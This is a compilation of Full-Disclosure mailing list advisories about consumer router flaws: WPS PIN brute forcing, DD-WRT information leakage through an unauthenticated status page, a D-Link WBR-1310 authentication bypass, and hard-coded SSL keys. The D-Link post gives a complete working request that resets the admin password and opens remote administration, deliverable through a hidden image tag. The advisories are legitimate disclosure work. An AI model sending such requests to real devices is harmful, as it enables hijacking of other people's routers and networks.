[Full-disclosure] WiFi Protected Setup attack code posted
Yesterday, Stefan published a paper describing a vulnerability in WPS that allows attackers to recover WPA/WPA2 keys in a matter of hours ( http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/ ). Code has been posted to implement the attack: http://www.tacnetsol.com/news/2011/12/28/cracking-wifi-protected-setup-with-reaver.html ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] DD-WRT Information Disclosure Vulnerability
Remote attackers can gain sensitive information about a DD-WRT router and
internal clients, including IP addresses, MAC addresses and host names. This
information can be used for further network attacks as well as very accurate
MAC address geolocation (see: http://samy.pl/mapxss/). This is exploitable
even if remote administration is disabled.
Users who enable remote administration typically set the info page to
'disabled' or 'enabled with authentication' in order to prevent remote users
from obtaining this information without first authenticating to the router.
However, if the info page is set to 'disabled', the /Info.live.htm page can
still be accessed directly by an unauthenticated remote attacker, which
returns the following data:
{lan_mac::00:22:B0:9B:1C:D3}
{wan_mac::00:22:B0:9B:1C:D4}
{wl_mac::00:22:B0:9B:1C:D5}
{lan_ip::192.168.1.1}
{wl_channel::6}
{wl_radio::Radio is On}
{wl_xmit::71 mW}
{wl_rate::270 Mbps}
{packet_info::SWRXgoodPacket=0;SWRXerrorPacket=0;SWTXgoodPacket=302;SWTXerror
Packet=17;}
{wl_mode_short::ap}
{lan_proto::dhcp}
{mem_info::,'total:','used:','free:','shared:','buffers:','cached:','Mem:','13316096','11509760','1806
336','0','1556480','4431872','Swap:','0','0','0','MemTotal:','13004','kB','MemFree:','1764','kB','Me
mShared:','0','kB','Buffers:','1520','kB','Cached:','4328','kB','SwapCached:','0','kB','Active:','4136'
,'kB','Inactive:','1724','kB','HighTotal:','0','kB','HighFree:','0','kB','LowTotal:','13004','kB','LowFr
ee:','1764','kB','SwapTotal:','0','kB','SwapFree:','0','kB'}
{active_wireless::}
{active_wds::}
{dhcp_leases:: 'joes-desktop','192.168.1.102','xx:xx:xx:xx:2E:41','1 day
00:00:00','102'}
{dhcp_leases:: 'marys-laptop','192.168.1.105','xx:xx:xx:xx:55:E2','1 day
00:00:00','105'}
{uptime:: 01:35:40 up 8 min, load average: 1.60, 0.80, 0.36}
{ipinfo:: IP: 1.1.1.1}
{wan_ipaddr::1.1.1.1}
{gps_text::}
{gps_lat::}
{gps_lon::}
{gps_alt::}
{gps_sat::}
Since DD-WRT is also vulnerable to a public IP DNS rebinding attack, this
vulnerability affects routers that have remote administration disabled as
well, and can be exploited by any Web site that is viewed by an internal,
unauthenticated user. The Rebind tool easily facilitates this type of
rebinding attack (http://rebind.googlecode.com).
More details and a demo video available at:
http://www.devttys0.com/2010/12/dd-wrt-i-know-where-you-live/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] D-Link WBR-1310 Authentication Bypass Vulnerability
The CGI scripts in the WBR-1310 (firmware v.2.00) do not validate authentication credentials. Administrative settings can be changed by sending the appropriate HTTP request directly to a CGI script without authenticating to the device. The following request will change the administrative password to 'hacked' and enable remote administration on port 8080: http://192.168.0.1/tools_admin.cgi?admname=adminadmPass1=hackedadmPass2=hackedusername=useruserPass1=WDB8WvbXdHtZyM8userPass2=WDB8WvbXdHtZyM8hip1=*hport=8080hEnable=1 Even if remote administration is not enabled, any Web page that any internal user browses to can change the administrator password and enable remote administration via a hidden image tag embedded in the Web page. No Javascript required. Newer versions of the WBR-1310 firmware are not vulnerable, but since version 2.00 is the default firmware, most WBR-1310 routers are still running it. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Default SSL Keys in Multiple Routers
From a security standpoint, it is. But it's easier and probably more cost effective for the manufacturer. Sometimes the key will be different between firmware versions, sometimes it won't. Sometimes the same key will be used for two different models. It just depends. Some models don't have hard coded keys, but most of the consumer grade stuff (and even some of the low-end business stuff) does. - Craig On Sun, Dec 19, 2010 at 12:17 PM, Thor (Hammer of God) t...@hammerofgod.com wrote: These manufacturers use the same key on each of their models? That seems ridiculous to me... T -- From: Craig Heffner Sent: Sunday, December 19, 2010 5:56 AM To: full-disclosure@lists.grok.org.uk Subject: [Full-disclosure] Default SSL Keys in Multiple Routers Many routers that provide an HTTPS administrative interface use default or hard-coded SSL keys that can be recovered by extracting the file system from the device's firmware. The LittleBlackBox project contains a database of over 2,000 (and growing) private SSL keys that are correlated with their respective public certificates, and hardware/firmware versions. While most of these certificates are from DD-WRT firmware, there are also private keys from other vendors including Cisco, Linksys, D-Link and Netgear. Private keys can be recovered by supplying LittleBlackBox with the corresponding public key. If the public key is not readily available, LittleBlackBox can retrieve the public certificate from a pcap file, live traffic capture, or by directly querying the target host. LittleBlackBox can be downloaded from http://littleblackbox.googlecode.com . More information is available at http://www.devttys0.com/2010/12/breaking-ssl-on-embedded-devices/. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Default SSL Keys in Multiple Routers
Many routers that provide an HTTPS administrative interface use default or hard-coded SSL keys that can be recovered by extracting the file system from the device's firmware. The LittleBlackBox project contains a database of over 2,000 (and growing) private SSL keys that are correlated with their respective public certificates, and hardware/firmware versions. While most of these certificates are from DD-WRT firmware, there are also private keys from other vendors including Cisco, Linksys, D-Link and Netgear. Private keys can be recovered by supplying LittleBlackBox with the corresponding public key. If the public key is not readily available, LittleBlackBox can retrieve the public certificate from a pcap file, live traffic capture, or by directly querying the target host. LittleBlackBox can be downloaded from http://littleblackbox.googlecode.com. More information is available at http://www.devttys0.com/2010/12/breaking-ssl-on-embedded-devices/. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
